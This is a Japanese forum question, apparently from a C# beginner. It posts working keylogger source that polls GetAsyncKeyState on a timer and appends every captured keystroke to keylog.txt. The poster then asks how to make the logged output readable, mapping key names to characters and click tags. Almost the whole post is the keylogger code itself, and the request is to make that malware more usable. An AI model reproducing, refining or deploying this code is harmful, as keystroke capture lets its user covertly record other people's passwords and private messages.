私は新しく、まだC#について学んでいます
キーストロークをキャプチャしてファイルに保存するこの単純なコード (Web サイトから取得) があります。
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
public Form1()
{
InitializeComponent();
timer1.Tick += new EventHandler(timer1_Tick);
timer1.Start();
}
string text = "";
void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
text += buffer;
if (text.Length > 10)
{
WriteToText(text);
text = "";
}
}
private void WriteToText(string value)
{
StreamWriter stream = new StreamWriter("keylog.txt",true);
stream.Write(value);
stream.Close();
}
それは機能しますが、のテキストkeylog.txt
は次のようなものです:
D1D2D3D4D5D6LButtonRButtonSpaceSpaceASD0emcomma0emPeriodSemicolon
など...
しかし、私が欲しいのは次のようなものです(フォーマットまたは配置):
123456[LeftClick][RightClick] ASD,.;
どうすればそのようにできますか?どのコードを追加すればよいですか?